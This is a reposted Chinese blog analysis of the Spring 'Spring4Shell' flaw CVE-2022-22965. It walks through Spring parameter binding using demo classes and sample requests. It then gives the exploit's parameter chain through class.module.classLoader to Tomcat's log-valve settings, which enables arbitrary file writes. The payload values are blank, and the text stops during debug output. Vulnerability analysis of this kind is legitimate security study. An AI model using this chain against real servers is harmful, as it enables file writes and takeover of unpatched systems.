原理大致是这样:spring框架在传参的时候会与对应实体类自动参数绑定,通过”.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。
环境:
jdk9、springmvc、tomcat8
一、先看下传参:
定义2个实体类
public class User {
private String username;
private String password;
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public SubTest getSub(){
return new SubTest();
}
}
public class SubTest {
public void setsubfunction(String s){
System.out.println("=====");
System.out.println(s);
System.out.println("=====");
}
}
定义一个Controller类
@RestController
public class HelloController {
@RequestMapping("/rce")
@ResponseBody
public String helloTest(User user) throws IOException {
System.out.println(user.getPassword());
System.out.println(user.getUsername());
return "hello spring : ";
}
}
不管是GET还是POST,只要是Controller接受的方式都可以传参赋值。
利用POST方式,传参
POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 15
username=vpanda
这里username=vpanda的传参,调用了User的setUsername方法。
POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 25
sub.subfunction=aaaaatest
这里sub.subfunction=aaaaatest,实际调用User的getSub方法,获得SubTest对象后实现setsubfunction方法,传参aaaaatest,最终实现SubTest类型的setsubfunction。
输出
=====
aaaaatest
=====
二、接下去直接看POC的利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=class.module.classLoader.resources.context.parent.pipeline.first.suffix=class.module.classLoader.resources.context.parent.pipeline.first.directory=class.module.classLoader.resources.context.parent.pipeline.first.prefix=class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在这里的实现逻辑是当前user对象getclass获得了类对象,Class类中存在getModule,获得module类对象,而Module类又存在getclassloader方法,最终返回一个类加载器。
调试输出当前类加载器名称
ClassLoader classLoader = user.getClass().getModule().getClassLoader();
System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");
`
===classloader===
ParallelWebappClassLoader
context: ROOT
delegate: false
Original: https://www.cnblogs.com/vpandaxjl/p/16111441.html
Author: 功夫小熊猫
Title: Spring rce CVE-2022-22965
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/571690/
转载文章受原作者版权保护。转载请注明原作者出处!